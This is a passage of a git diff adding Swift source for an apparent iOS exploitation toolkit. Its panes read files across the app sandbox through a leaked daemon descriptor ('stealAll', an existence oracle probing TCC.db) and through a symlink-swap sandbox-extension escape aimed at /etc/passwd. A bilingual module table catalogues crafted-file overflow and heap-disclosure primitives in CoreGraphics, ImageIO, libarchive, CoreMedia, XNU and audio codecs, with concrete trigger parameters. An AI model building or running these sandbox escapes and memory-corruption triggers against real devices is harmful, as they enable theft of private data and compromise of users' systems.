VStack(alignment: .leading, spacing: 4) { + SectionLabel(text: tl("结果")) + ForEach(Array(log.enumerated()), id: \.offset) { _, line in + Text(line).font(T.monoSm).foregroundColor(.white.opacity(0.65)) + .fixedSize(horizontal: false, vertical: true) + } + } + } + } + + Card { + VStack(alignment: .leading, spacing: 4) { + SectionLabel(text: tl("系统可用字体(") + "\(names.count)" + tl(")")) + ForEach(names.prefix(80), id: \.self) { n in + Text(n).font(T.monoSm).foregroundColor(.white.opacity(0.55)) + } + } + } + } + .padding(16) + } + .onAppear { + if names.isEmpty { + DispatchQueue.global(qos: .userInitiated).async { + let list = FontInstaller.installed() + DispatchQueue.main.async { names = list } + } + } + } + .sheet(isPresented: $picking) { + FilePickerSheet(isPresented: $picking) { url in + let result = FontInstaller.install(url) + log.append(result) + names = FontInstaller.installed() + } + } + } +} diff --git a/Sources/ModView.swift b/Sources/ModView.swift new file mode 100644 index 0000000..e9eaccc --- /dev/null +++ b/Sources/ModView.swift @@ -0,0 +1,641 @@ +import SwiftUI +import UniformTypeIdentifiers + +// MARK: - Toolkit hub + +struct ModView: View { + @State private var pane = 0 + + private var panes: [(String, String)] { + [ + (t("pane.files"), "folder.fill"), + (t("pane.cross"), "arrow.left.arrow.right"), + (t("pane.symlink"), "link.badge.plus"), + (t("pane.apps"), "app.fill"), + (t("pane.prefs"), "slider.horizontal.3"), + (t("pane.procs"), "list.bullet.rectangle"), + (t("pane.daemons"), "gearshape.2.fill"), + (t("pane.crashes"), "exclamationmark.triangle.fill"), + (t("pane.binary"), "cpu"), + (t("pane.hex"), "number"), + (t("pane.xattr"), "tag.fill"), + (t("pane.sqlite"), "cylinder.split.1x2"), + (t("pane.archive"), "shippingbox.fill"), + (t("pane.hash"), "number.square.fill"), + (t("pane.fonts"), "textformat"), + (t("pane.ipa"), "wand.and.stars"), + (t("pane.backup"), "archivebox.fill"), + (t("pane.telemetry"), "gauge.medium"), + (t("pane.profiles"), "checkmark.seal.fill"), + ] + } + + var body: some View { + NavigationStack { + VStack(spacing: 0) { + ScrollView(.horizontal, showsIndicators: false) { + HStack(spacing: 7) { + ForEach(Array(panes.enumerated()), id: \.offset) { i, entry in + Button { pane = i } label: { + HStack(spacing: 4) { + Image(systemName: entry.1).font(.system(size: 9, weight: .semibold)) + Text(entry.0) + } + .font(T.tiny) + .foregroundColor(pane == i ? T.ember : .white.opacity(0.45)) + .padding(.horizontal, 8).padding(.vertical, 4) + .background(Capsule().fill(pane == i ? T.ember.opacity(0.14) : Color.clear)) + .overlay(Capsule().strokeBorder(pane == i ? T.ember.opacity(0.35) : T.stroke, lineWidth: 0.6)) + } + } + } + .padding(.horizontal, 16) + .padding(.vertical, 9) + } + + switch pane { + case 0: FilesPane() + case 1: CrossSandboxPane() + case 2: SymlinkPane() + case 3: AppsPane() + case 4: PrefsPane() + case 5: ProcessPane() + case 6: DaemonPane() + case 7: CrashPane() + case 8: BinaryPane() + case 9: HexPane() + case 10: XattrPane() + case 11: SQLitePane() + case 12: ArchivePane() + case 13: HashPane() + case 14: FontPane() + case 15: IPAPane() + case 16: BackupPane() + case 17: TelemetryPane() + default: ProfilePane() + } + } + .background(T.bg.ignoresSafeArea()) + .navigationTitle(t("mod.title")) + .navigationBarTitleDisplayMode(.inline) + } + } +} + +// MARK: - Cross-sandbox reader (CVE-2026-112706) + +struct CrossSandboxPane: View { + @State private var entries: [String] = [] + @State private var listing = false + @State private var status = "" + @State private var handshake: [String] = [] + @State private var stolen: [(name: String, bytes: Int, url: URL?)] = [] + @State private var previews: [String: String] = [:] + @State private var path = FdLeak.readableDomain + @State private var oraclePath = "" + @State private var oracleResult = "" + @State private var busy = false + + var body: some View { + ScrollView { + VStack(spacing: 14) { + Card { + VStack(alignment: .leading, spacing: 9) { + HStack { + SectionLabel(text: "CoreMedia bytestream") + Spacer() + Pill(text: "CVE-2026-112706", color: T.violet) + } + Text(tl("mediaplaybackd.bytestream.xpc 对任何沙盒应用可达。守护进程以自身凭据打开客户端指定的绝对路径,并把活描述符放进回复的 ByteStreamDetails。描述符级 I/O 不受客户端沙盒的路径检查约束 —— 应用自身 open() 返回 EPERM 的文件,其内容可经该描述符完整读回。")) + .font(T.body).foregroundColor(.white.opacity(0.66)) + .fixedSize(horizontal: false, vertical: true) + if !handshake.isEmpty { + VStack(alignment: .leading, spacing: 1) { + ForEach(Array(handshake.enumerated()), id: \.offset) { _, line in + Text(line).font(T.monoSm).foregroundColor(.white.opacity(0.4)) + } + } + } + HStack(spacing: 8) { + RunButton(title: listing ? "…" : tl("枚举目录"), systemImage: "list.bullet", + tint: T.violet, disabled: busy) { listDirectory() } + RunButton(title: busy ? "…" : tl("全部读取"), systemImage: "arrow.down.doc", + tint: T.ember, disabled: busy) { stealAll() } + } + if !status.isEmpty { + Text(status).font(T.monoSm).foregroundColor(.white.opacity(0.6)) + .fixedSize(horizontal: false, vertical: true) + } + } + } + + Card { + VStack(alignment: .leading, spacing: 8) { + SectionLabel(text: tl("路径")) + TextField(FdLeak.readableDomain, text: $path) + .font(T.monoSm) + .textInputAutocapitalization(.never) + .autocorrectionDisabled() + .padding(8) + .background(RoundedRectangle(cornerRadius: 8).fill(T.panelHi)) + ForEach(Array(entries.enumerated()), id: \.offset) { _, name in + HStack(spacing: 7) { + Image(systemName: "doc").font(.system(size: 10)) + .foregroundColor(.white.opacity(0.35)) + Text(name).font(T.monoSm) + .foregroundColor(.white.opacity(0.72)).lineLimit(1) + Spacer() + Button { + readOne(name) + } label: { + Image(systemName: "arrow.down.circle").font(.system(size: 12)) + }.tint(T.ember) + } + } + } + } + + if !oracleResult.isEmpty { + Card { + Text(oracleResult).font(T.monoSm).foregroundColor(.white.opacity(0.7)) + .frame(maxWidth: .infinity, alignment: .leading) + .fixedSize(horizontal: false, vertical: true) + } + } + + Card { + VStack(alignment: .leading, spacing: 8) { + SectionLabel(text: tl("存在性预言机")) + Text(tl("真实但被拒的路径返回 -12203,不存在的路径返回 -17913。两个不同的服务端错误码在不授予访问的前提下披露文件是否存在。")) + .font(T.tiny).foregroundColor(.white.opacity(0.35)) + .fixedSize(horizontal: false, vertical: true) + TextField("/private/var/mobile/Library/TCC/TCC.db", text: $oraclePath) + .font(T.monoSm) + .textInputAutocapitalization(.never) + .autocorrectionDisabled() + .padding(8) + .background(RoundedRectangle(cornerRadius: 8).fill(T.panelHi)) + RunButton(title: tl("探测"), systemImage: "questionmark.circle", tint: T.info, + disabled: busy || oraclePath.isEmpty) { probeOracle() } + } + } + + if !stolen.isEmpty { + Card { + VStack(alignment: .leading, spacing: 8) { + SectionLabel(text: tl("已取回")) + ForEach(Array(stolen.enumerated()), id: \.offset) { _, item in + VStack(alignment: .leading, spacing: 2) { + HStack { + Text(item.name).font(T.monoSm).foregroundColor(T.good) + Spacer() + Text("\(item.bytes) B").font(T.monoSm).foregroundColor(.white.opacity(0.3)) + } + if let preview = previews[item.name] { + Text(preview).font(T.monoSm) + .foregroundColor(.white.opacity(0.4)).lineLimit(2) + } + } + } + } + } + } + } + .padding(16) + } + } + + private func session(_ body: @escaping (FdLeak.Session) -> Void) { + busy = true + DispatchQueue.global(qos: .userInitiated).async { + guard let s = FdLeak.Session() else { + DispatchQueue.main.async { busy = false; status = tl("会话建立失败") } + return + } + let log = s.handshakeLog + body(s) + s.shutdown() + DispatchQueue.main.async { handshake = log; busy = false } + } + } + + private func listDirectory() { + session { s in + let result = s.list(path) + DispatchQueue.main.async { + entries = result.entries + status = "\(result.entries.count)" + tl(" 个条目 · mode ") + "\(String(result.vend.mode, radix: 8))" + } + } + } + + private func readOne(_ name: String) { + let full = path.hasSuffix("/") ? path + name : path + "/" + name + session { s in + let (data, vend) = s.read(full) + DispatchQueue.main.async { + guard let data = data else { + status = tl("读取失败: ") + "\(vend.note)" + return + } + let url = try? Container.write(data, to: Container.work.appendingPathComponent("x_\(name)").path) + stolen.append((name, data.count, url)) + previews[name] = String(data: data.prefix(120), encoding: .utf8)? + .replacingOccurrences(of: "\n", with: "\\n") + ?? data.prefix(24).map { String(format: "%02x", $0) }.joined() + status = "✓ \(name) \(data.count) B" + } + } + } + + private func stealAll() { + session { s in + var results: [(String, Int, URL?)] = [] + var heads: [String: String] = [:] + for (label, target) in FdLeak.knownTargets { + let (data, _) = s.read(target) + guard let data = data else { continue } + let url = try? Container.write(data, to: Container.work.appendingPathComponent("x_\(label)").path) + results.append((label, data.count, url)) + heads[label] = String(data: data.prefix(120), encoding: .utf8)? + .replacingOccurrences(of: "\n", with: "\\n") + ?? data.prefix(24).map { String(format: "%02x", $0) }.joined() + } + DispatchQueue.main.async { + stolen = results + previews = heads + status = results.isEmpty ? tl("未取到数据") : tl("✓ ") + "\(results.count)" + tl(" 个文件") + } + } + } + + private func probeOracle() { + session { s in + let e = s.probeExistence(oraclePath) + let text: String + switch e.code { + case 0: text = tl("可开(code 0)") + case FdLeak.errAccessDenied: text = tl("存在但被拒 (-12203)") + case FdLeak.errNoSuchFile: text = tl("不存在 (-17913)") + default: text = tl("错误码 ") + "\(e.code)" + } + DispatchQueue.main.async { + oracleResult = "\(text)\n\(oraclePath)" + } + } + } +} + +// MARK: - Symlink escape + +struct SymlinkPane: View { + @State private var target = "/etc/passwd" + @State private var result = "" + @State private var output = "" + @State private var busy = false + @State private var history: [(String, Int, Bool)] = [] + + private let presets = ["/etc/passwd", "/etc/group", "/etc/hosts", "/etc/services", + "/var/preferences/com.apple.networkd.plist"] + + var body: some View { + ScrollView { + VStack(spacing: 14) { + Card { + VStack(alignment: .leading, spacing: 9) { + HStack { + SectionLabel(text: "sandbox_extension TOCTOU") + Spacer() + Pill(text: tl("未修复"), color: T.ember) + } + Text(tl("sandbox_extension_issue_file 在签发时解析符号链接,但不强制 SANDBOX_EXTENSION_NOFOLLOW。签发返回的令牌绑定签发时刻解析出的目标,而内核对消费时刻所用路径不做复核。序列为:沙盒内建立链接 L 指向沙盒内文件 S → 对 L 签发扩展 → 将 L 重指向沙盒外目标 T → 消费令牌后经 L 读取。")) + .font(T.body).foregroundColor(.white.opacity(0.66)) + .fixedSize(horizontal: false, vertical: true) + Text(tl("该序列确定性成立,不需要竞态窗口。Apple 未将其视为安全问题,因此没有 CVE 编号。")) + .font(T.tiny).foregroundColor(.white.opacity(0.35)) + .fixedSize(horizontal: false, vertical: true) + } + } + + Card { + VStack(alignment: .leading, spacing: 8) { + SectionLabel(text: tl("目标")) + TextField("/etc/passwd", text: $target) + .font(T.monoSm) + .textInputAutocapitalization(.never) + .autocorrectionDisabled() + .padding(8) + .background(RoundedRectangle(cornerRadius: 8).fill(T.panelHi)) + ScrollView(.horizontal, showsIndicators: false) { + HStack(spacing: 6) { + ForEach(presets, id: \.self) { p in + Button { target = p } label: { + Pill(text: (p as NSString).lastPathComponent, color: .white.opacity(0.45)) + } + } + } + } + RunButton(title: busy ? "…" : tl("越过沙盒读取"), + systemImage: "link.badge.plus", tint: T.ember, disabled: busy) { run() } + } + } + + if !result.isEmpty { + Card { + Text(result).font(T.monoSm).foregroundColor(.white.opacity(0.7)) + .frame(maxWidth: .infinity, alignment: .leading) + .fixedSize(horizontal: false, vertical: true) + } + } + + if !output.isEmpty { + Card { + VStack(alignment: .leading, spacing: 4) { + SectionLabel(text: tl("内容")) + Text(output) + .font(.system(size: 10, design: .monospaced)) + .foregroundColor(.white.opacity(0.72)) + .textSelection(.enabled) + .frame(maxWidth: .infinity, alignment: .leading) + } + } + } + + if !history.isEmpty { + Card { + VStack(alignment: .leading, spacing: 4) { + SectionLabel(text: tl("记录")) + ForEach(Array(history.enumerated()), id: \.offset) { _, row in + HStack { + Image(systemName: row.2 ? "checkmark.circle.fill" : "xmark.circle") + .font(.system(size: 9)) + .foregroundColor(row.2 ? T.good : .white.opacity(0.25)) + Text(row.0).font(T.monoSm).foregroundColor(.white.opacity(0.6)).lineLimit(1) + Spacer() + Text("\(row.1) B").font(T.monoSm).foregroundColor(.white.opacity(0.3)) + } + } + } + } + } + } + .padding(16) + } + } + + private func run() { + busy = true + let t = target + DispatchQueue.global(qos: .userInitiated).async { + let link = Container.work.appendingPathComponent("sbx_link") + let decoy = Container.work.appendingPathComponent("sbx_decoy") + let r = SandboxExtension.readThroughSwap(target: t, link: link, decoy: decoy) + let direct = SandboxExtension.directRead(t) + DispatchQueue.main.async { + busy = false + result = [ + tl("目标 ") + "\(t)", + tl("签发 ") + "\(r.issued ? tl("成功") : tl("失败"))", + tl("消费 ") + "\(r.consumed ? tl("成功") : tl("失败"))", + tl("读取 ") + "\(r.bytes)" + tl(" B"), + tl("对照 直接读 ") + (direct.errno != 0 + ? "errno=\(direct.errno) (\(String(cString: strerror(direct.errno))))" + : "\(direct.bytes) B"), + r.note, + ].joined(separator: "\n") + if let data = r.data, let text = String(data: data.prefix(4000), encoding: .utf8) { + output = text + } else if let data = r.data { + output = data.prefix(512).map { String(format: "%02x", $0) }.joined() + } else { + output = "" + } + history.append((t, r.bytes, r.ok)) + } + } + } +} + +// MARK: - Hash + +struct HashPane: View { + @State private var target: URL? + @State private var picking = false + @State private var results: [(String, String)] = [] + @State private var busy = false + + var body: some View { + ScrollView { + VStack(spacing: 14) { + Card { + VStack(alignment: .leading, spacing: 10) { + SectionLabel(text: t("pane.hash")) + Button { picking = true } label: { + HStack(spacing: 8) { + Image(systemName: "number.square.fill").font(.system(size: 12)) + Text(target?.lastPathComponent ?? t("files.select")).font(T.body) + Spacer() + Image(systemName: "chevron.right").font(.system(size: 10, weight: .bold)) + } + .foregroundColor(target == nil ? .white.opacity(0.4) : T.ember) + .padding(10) + .background(RoundedRectangle(cornerRadius: 9).fill(T.panelHi)) + } + if busy { ProgressView().scaleEffect(0.7) } + } + } + if !results.isEmpty { + Card { + VStack(alignment: .leading, spacing: 6) { + ForEach(Array(results.enumerated()), id: \.offset) { _, row in + VStack(alignment: .leading, spacing: 1) { + Text(row.0).font(T.tiny).foregroundColor(.white.opacity(0.35)) + Text(row.1).font(T.monoSm).foregroundColor(T.good) + .textSelection(.enabled) + .fixedSize(horizontal: false, vertical: true) + } + } + } + } + } + } + .padding(16) + } + .sheet(isPresented: $picking) { + FilePickerSheet(isPresented: $picking) { url in + target = url + compute(url) + } + } + } + + private func compute(_ url: URL) { + busy = true + results = [] + DispatchQueue.global(qos: .userInitiated).async { + guard let data = try? Data(contentsOf: url) else { + DispatchQueue.main.async { busy = false } + return + } + var out: [(String, String)] = [(tl("大小"), "\(data.count) B")] + out.append(("CRC32", String(format: "%08x", ZipWriter.crc32([UInt8](data))))) + out.append(("SHA-256", data.sha256Hex)) + out.append(("SHA-1", data.sha1Hex)) + out.append(("MD5", data.md5Hex)) + DispatchQueue.main.async { + results = out + busy = false + } + } + } +} + +// MARK: - Archive + +struct ArchivePane: View { + @State private var target: URL? + @State private var picking = false + @State private var entries: [PackageEntry] = [] + @State private var status = "" + @State private var extractTo: String = Container.work.path + + var body: some View { + ScrollView { + VStack(spacing: 14) { + Card { + VStack(alignment: .leading, spacing: 10) { + SectionLabel(text: t("pane.archive")) + Button { picking = true } label: { + HStack(spacing: 8) { + Image(systemName: "shippingbox.fill").font(.system(size: 12)) + Text(target?.lastPathComponent ?? t("files.select")).font(T.body) + Spacer() + Image(systemName: "chevron.right").font(.system(size: 10, weight: .bold)) + } + .foregroundColor(target == nil ? .white.opacity(0.4) : T.ember) + .padding(10) + .background(RoundedRectangle(cornerRadius: 9).fill(T.panelHi)) + } + TextField(t("files.path"), text: $extractTo) + .font(T.monoSm) + .textInputAutocapitalization(.never) + .autocorrectionDisabled() + .padding(8) + .background(RoundedRectangle(cornerRadius: 8).fill(T.panelHi)) + RunButton(title: tl("解包"), systemImage: "arrow.down.doc", tint: T.info, + disabled: target == nil) { extract() } + if !status.isEmpty { + Text(status).font(T.monoSm).foregroundColor(.white.opacity(0.6)) + .fixedSize(horizontal: false, vertical: true) + } + } + } + + if !entries.isEmpty { + Card { + VStack(alignment: .leading, spacing: 3) { + SectionLabel(text: tl("内容 (") + "\(entries.count)" + tl(")")) + ForEach(entries.prefix(400)) { e in + HStack { + Text(e.name).font(T.monoSm) + .foregroundColor(.white.opacity(0.65)).lineLimit(1) + Spacer() + Text("\(e.size) B").font(T.monoSm).foregroundColor(.white.opacity(0.25)) + } + } + } + } + } + } + .padding(16) + } + .sheet(isPresented: $picking) { + FilePickerSheet(isPresented: $picking) { url in + target = url + entries = PackageTool.list(url.path) + status = "\(entries.count)" + tl(" 个条目") + } + } + } + + private func extract() { + guard let target = target else { return } + status = PackageTool.extract(target.path, to: URL(fileURLWithPath: extractTo)) + } +} + +// MARK: - File picker + +struct FilePickerSheet: View { + @Binding var isPresented: Bool + let onPick: (URL) -> Void + + @State private var browser = FileBrowser(path: Container.documents.path) + @State private var jump = "" + + var body: some View { + NavigationStack { + VStack(spacing: 0) { + HStack(spacing: 8) { + Button { browser.up() } label: { + Image(systemName: "arrow.up").font(.system(size: 12, weight: .bold)) + }.tint(T.ember) + TextField(t("files.path"), text: $jump) + .font(T.monoSm) + .textInputAutocapitalization(.never) + .autocorrectionDisabled() + .onSubmit { browser.chdir(jump) } + .padding(7) + .background(RoundedRectangle(cornerRadius: 7).fill(T.panel)) + Button { browser.chdir(jump) } label: { + Image(systemName: "arrow.right.to.line").font(.system(size: 11, weight: .bold)) + }.tint(T.ember) + } + .padding(.horizontal, 16).padding(.vertical, 8) + + Text(browser.path) + .font(T.monoSm).foregroundColor(.white.opacity(0.3)) + .lineLimit(1).truncationMode(.head) + .frame(maxWidth: .infinity, alignment: .leading) + .padding(.horizontal, 16).padding(.bottom, 6) + + List { + ForEach(browser.items) { item in + Button { + if item.isDirectory { + browser.enter(item) + jump = item.path + } else { + onPick(URL(fileURLWithPath: item.path)) + isPresented = false + } + } label: { + HStack(spacing: 10) { + Image(systemName: item.icon).font(.system(size: 12)) + .foregroundColor(item.isDirectory ? T.ember : .white.opacity(0.4)) + .frame(width: 18) + Text(item.name).font(T.body).foregroundColor(.white.opacity(0.85)).lineLimit(1) + Spacer() + if !item.isDirectory { + Text(item.displaySize).font(T.monoSm).foregroundColor(.white.opacity(0.25)) + } + } + } + .listRowBackground(T.panel) + } + } + .listStyle(.plain) + .scrollContentBackground(.hidden) + } + .background(T.bg.ignoresSafeArea()) + .navigationTitle(t("files.select")) + .navigationBarTitleDisplayMode(.inline) + .toolbar { + ToolbarItem(placement: .topBarTrailing) { + Button(t("files.cancel")) { isPresented = false }.tint(T.ember) + } + } + .onAppear { jump = browser.path } + } + } +} diff --git a/Sources/ModuleText.swift b/Sources/ModuleText.swift new file mode 100644 index 0000000..03db30c --- /dev/null +++ b/Sources/ModuleText.swift @@ -0,0 +1,515 @@ +import Foundation + +/// Bilingual text for every primitive. Chinese is the source and lives next to the module +/// definition; English lives here. A module whose id is missing from this table falls back +/// to the Chinese text rather than showing a key, so a new primitive is never blank. +enum ModuleText { + + enum Field { + case title, summary, notes + } + + static func resolve(_ id: String, _ field: Field, zh: String) -> String { + guard Lang.resolved == .en else { return zh.trimmingCharacters(in: .whitespacesAndNewlines) } + guard let row = en[id] else { return zh.trimmingCharacters(in: .whitespacesAndNewlines) } + switch field { + case .title: return row.title + case .summary: return row.summary + case .notes: return row.notes + } + } + + struct Row { + let title: String + let summary: String + let notes: String + } + + static let en: [String: Row] = [ + + // MARK: CoreGraphics + + "cg.shading": Row( + title: "Type-5 shading stack overflow (value-controlled OOB write)", + summary: """ + A /ShadingType 5 dictionary whose /Function declares a /Range dimension that does not match the component count of its /ColorSpace. At draw time _cg_shading_type5_draw builds one 72-byte mesh record per triangle vertex — the colour area sits at record +0x20 with capacity nc×8 bytes — then calls CGFunctionEvaluate, which bounds its write by its own [func+0x30] field (the /Range dimension) and writes that many doubles into the colour area. No comparison exists between the write length and the destination capacity. The mesh array is alloca'd on the stack by CGTriangleMeshCreate, so the last record's write walks past the record tail, the auxiliary arrays, the row buffers and the saved registers in order. + """, + notes: """ + With R=136, nc=1 and /C0=/C1=1.0 every written double has the bit pattern 0x3FF0000000000000. The overflow also overwrites the two spill slots holding the triangle count and the mesh pointer; the loop-exit comparison reads the overwritten count and keeps going, then dereferences the overwritten pointer. The fault address is therefore the PDF-chosen double bit pattern plus a structural offset — measured on device as 0x3ff000000000001c, where 0x1c = idx×16 + 0xc. iOS 27.2 rejects the dictionary at parse time with CG-SEC-187882049; the draw code is byte-identical on both builds, so this is a gate-only fix. + """), + + "cg.shading.sweep": Row( + title: "Overflow length sweep (finding the absorption threshold)", + summary: """ + A short overflow is absorbed by the adjacent VLA without faulting — the write has to be long enough to reach live state. This pass steps R from 4 to 256, recording at each value whether rendering still completes, and thereby maps the real boundary of the stack layout on this build. That threshold sets the length budget for every subsequent payload. + """, + notes: """ + Executed in ascending order. Small values finish first and the process terminates at the first fatal one, so the write-ahead journal retains the last successful value and a single run locates the boundary. + """), + + "cg.cmap": Row( + title: "CMap /UseCMap recursion out-of-bounds write (negative-result probe)", + summary: """ + _cmap_convert passes the outer codespace length (up to 255) into an output slot sized for a single result (2-byte code / 8-byte len) when it recurses. iOS 27.2 adds a min(L,4) clamp and re-lays out the output slots. + """, + notes: """ + In the source analysis the embedded-CMap vehicle was refuted by three independent reachability blockers. The value of this module is that it records the negative result too: a crash here would mean the vehicle has been reopened and the conclusion has to be revised. + """), + + // MARK: ImageIO + + "iio.tiff.planar": Row( + title: "TIFF planar scatter out-of-bounds write", + summary: """ + With PlanarConfiguration=2 and SamplesPerPixel greater than the channel count implied by Photometric, the scatter pointer offset is computed with a 32-bit multiply and the result is never compared against the destination row capacity. iOS 27.2 switches to a 64-bit umull and compares required bytes against capacity. + """, + notes: """ + The error string that 27.2 adds is absent on 24A435: "*** ERROR: decodeStripPlanar destination row is %u bytes, the scatter needs %llu". + """), + + "iio.tiff.trunc": Row( + title: "TIFF truncated strip → uninitialised heap into pixels", + summary: """ + The return value of TIFFReadEncodedStrip is never checked. On read failure the uninitialised malloc'd strip buffer is scattered into the output image, so the decoded pixels are whatever was left on the process heap. + """, + notes: """ + Detection: decode the same file three times and compare output fingerprints. If the strip region differs each run, the buffer is uninitialised heap. iOS 27.2 zero-fills it and reports "strip %d is zero-filled". + """), + + "iio.apng.fctl": Row( + title: "APNG fcTL truncation → uninitialised frame geometry on the stack", + summary: """ + Thirty-four bytes are read at the fcTL offset and the return value is not checked. When the file is truncated mid-fcTL only the front of that 34-byte stack buffer is written; the remainder is parsed as frame width, height, offsets and delay. + """, + notes: """ + iOS 27.2 reads 26 bytes, checks cmp x0,#0x1a, and reports "*** truncated 'fcTL' chunk at offset %ld". + """), + + "iio.jpeg.marker": Row( + title: "JPEG marker length out of bounds", + summary: """ + When a marker declares a length far beyond the bytes actually present, 27.0 logs one "*** WARNING: check markerLength" and keeps parsing, reading out of bounds. 27.2 aborts the parse. + """, + notes: """ + Declared length 0xFFEE against 28 bytes of real payload. + """), + + "iio.jpeg.comment": Row( + title: "EXIF UserComment short read → metadata disclosure", + summary: """ + The return value of getBytesAtOffset is never checked. When an entry's value offset falls outside the marker the read comes up short, the tail of the malloc'd buffer stays uninitialised, and that buffer is then handed back to the caller as the UserComment metadata value — a direct read of the process heap. + """, + notes: """ + count declares 0x400 with the value offset at +0x4000. The result line prints how many bytes were actually obtained and the first 24 of them. + """), + + "iio.jpeg.gps": Row( + title: "GPS IFD value offset out of bounds", + summary: """ + The GPS-IFD walk uses raw pointer dereferences plus one unchecked read32. When an entry's value offset points outside the GPS block the read goes straight out of bounds. iOS 27.2 rewrites every access through checkCapacity / checkInitializedLength / pointerToOffset / read32Unchecked and throws OutOfBounds on violation. + """, + notes: """ + The RATIONAL offset for GPSAltitude points at +0x10000. + """), + + "iio.dds.bc7": Row( + title: "BC7 texture mip truncation", + summary: """ + A truncated mip level produces only a WARNING on 27.0 and block decoding continues, so the block decoder reads past the data. iOS 27.2 turns "zero complete mips" into a hard error and adds 64-bit mip size arithmetic plus dimension and data-size gates. + """, + notes: """ + A 512×512 BC7 surface needs 65536 bytes; 64 are supplied. + """), + + "iio.ktx2": Row( + title: "KTX2 dimension and level size arithmetic", + summary: """ + KTX/KTX2 level byte counts and block counts lack 64-bit umull/umulh protection, and the existing check is keyed on the wrong quantity (channels rather than source bpp). iOS 27.2 adds "image dimensions overflow" and "expected %llu bytes" gates. + """, + notes: """ + Dimensions 0xFFFF×0xFFFF with the level index declaring 64 bytes. + """), + + // MARK: libarchive + + "arc.iso": Row( + title: "ISO9660 Joliet pathname heap overflow", + summary: """ + After recursively appending the parent path, build_pathname_utf16be unconditionally writes a 2-byte UTF-16BE '/' without re-checking the running length against the 1024 limit. When a directory chain sums to exactly 1024 bytes the deepest unwind writes at p[1024] and p[1025], two bytes past a malloc(1024) buffer, and 0x002F overwrites the adjacent heap chunk header. + """, + notes: """ + The chain length 4×206 + 192 + 4×2 = 1024 aligns exactly with the limit. Reproduced on the macOS fork of the same version with bsdtar; a hardware breakpoint hit the write instruction immediately before "Pathname is too long". + """), + + "arc.iso.stress": Row( + title: "Joliet path length loop", + summary: """ + The same ISO is traversed repeatedly so the 2-byte out-of-bounds write happens many times and interleaves with other allocations. A single two-byte write is usually absorbed by malloc metadata; repetition is what pushes the damage into a visible position. + """, + notes: """ + 32 rounds, each with a fresh archive handle. + """), + + "arc.cab": Row( + title: "CAB LZX match against uninitialised history", + summary: """ + LZX decoding computes copy_pos = (w_pos − copy_pos) & w_mask and drops straight into the copy loop. While the window has not yet been written, copy_pos points into uninitialised memory and the copied bytes are residual heap. iOS 27.2 adds copy_pos == 0 || copy_pos > w_filled → ARCHIVE_FAILED. + """, + notes: """ + The second site under the same CVE (the first is the Joliet pathname). The seed is a grammar probe: a structurally complete CAB container plus an LZX block that opens with a match, using libarchive's own return code as the progress receipt. + """), + + "arc.rr": Row( + title: "RockRidge relocation cycle (unfixed sibling)", + summary: """ + Upstream fixed the infinite loop caused by a RockRidge relocation cycle in September 2026 (d14de384fcc6) and Apple did not take the commit. The defect is present on both 27.0 and 27.2, making it the only candidate in this project that also holds on current systems. + """, + notes: """ + Builds a CL entry pointing at its own directory using the same structure as the Joliet seed. If the path is live it hangs, so the run is timed against a threshold. + """), + + // MARK: CoreMedia + + "cm.rpu": Row( + title: "Dolby Vision RPU extension metadata block array overrun", + summary: """ + Three fixed-capacity arrays (A: 4×28 B, B: 8×14 B, C: 5×36 B) have no count bound before writing. The 27.0 cmp + b.hi only skips the count increment; the write still executes indexed by the unchecked count. Array A's overrun crosses the end of the 0x73b4-byte struct and lands in the caller's saved-register area — CMGetDMVersionLevelFromRPU places that struct on its own stack frame. + """, + notes: """ + This is the only CoreMedia line the advisory explicitly labels "arbitrary code execution". The header grammar was reconstructed in the source research only as far as the entry checks (magic / rpu_type / rpu_format, verified live on the macOS twin), so this uses a parameterised grammar probe and treats the parser's own error as the progress receipt. + """), + + "cm.rpu.sweep": Row( + title: "RPU block count and block type sweep", + summary: """ + Block-ids 1/2/6 are aimed at the three arrays (capacities 4/8/5) in turn, each from one element over capacity up to eight over, recording where the parser starts refusing or terminates. + """, + notes: """ + Array A is the only one that escapes the struct into saved registers; B and C stay intra-struct and corrupt neighbouring fields. + """), + + // MARK: XNU + + "kern.ipc": Row( + title: "ipc_port request table index race", + summary: """ + iOS 27.2 adds cmp/b.hi and NULL traps to every function that consumes a per-space port request table index (ipc_port.c:21/24/34/38/40/41). On 27.0 the free path computes the bounds and discards the result, still performing the read-modify-write through the unchecked base; the mark path has no bounds computation at all. The index comes from the space's saved request-table slot, so the defect shape is a stale index under concurrency between table growth or teardown and notification registration or message send. + """, + notes: """ + The entry points on this path with no entitlement gate are mach_msg and port notification registration. This module runs 8 threads for 6 seconds and counts the kernel's return codes — any shift in the frequency of a non-KERN_SUCCESS result is a candidate signal for an out-of-range index. + """), + + "kern.decmpfs": Row( + title: "decmpfs chunked decompression under-produce → kernel heap disclosure", + summary: """ + When chunked zlib decompression produces fewer bytes than expected, 27.0 does not compare produced against expected, so the tail of the kernel page buffer is left unwritten; read() then hands the whole buffer back to the app, which receives stale heap content. iOS 27.2 adds that comparison. + """, + notes: """ + One of the few kernel paths in this set that needs no entitlement at all: the app writes a file carrying a com.apple.decmpfs extended attribute inside its own container and reads back what the kernel decompressed. Scanning in 8-byte windows, any value inside the kernel address range (≥ 0xFFFFFFE000000000) is a candidate pointer. + """), + + "kern.baseline": Row( + title: "Mach namespace baseline", + summary: """ + Reads the bootstrap port and the process's own port namespace to establish the starting point before any race: can ports be listed, and how many names are available. + """, + notes: """ + Every race result has to be read against this baseline. + """), + + // MARK: Audio + + "aud.lc3": Row( + title: "LC3 decoder input buffer overflow", + summary: """ + memcpy uses mDataByteSize as its length and never consults the (begin, end) capacity of the input vector. iOS 27.2 adds a capacity < size rejection. LC3 is the Bluetooth LE Audio codec and its instantiation is gated by com.apple.coreaudio.allow-lc3-codec, so the crash lands in the system audio process — matching the advisory's "system termination". + """, + notes: """ + The module first checks whether the process holds that entitlement, then tries to construct an LC3 AudioConverter to see which layer refuses. Without the entitlement it always fails, but where it fails is itself informative. + """), + + "aud.hoa": Row( + title: "HOA spatial audio coefficient out-of-bounds read", + summary: """ + mNumHOAcoeffs is deserialised from the file's hoa::CodecConfig. The existing check only rejects values above 122, while anything from 37 to 121 indexes an array of length 37. iOS 27.2 changes the comparison threshold to 0x25. + """, + notes: """ + The coefficient ceiling comes from kMaxNumSCs_DynSelSCs4EachSB. Actually driving this needs an MPEG-H / immersive audio file; from the app side only the decoder's reachability can be probed. + """), + + "aud.haptic": Row( + title: "AVHaptic custom audio event format validation", + summary: """ + On 27.0 createCustomAudioEvent neither validates the ASBD nor compares frames×bytesPerFrame against the actual waveform byte count. iOS 27.2 adds both checks. The XPC server side of this interface lives in the CoreHaptics server process. + """, + notes: """ + 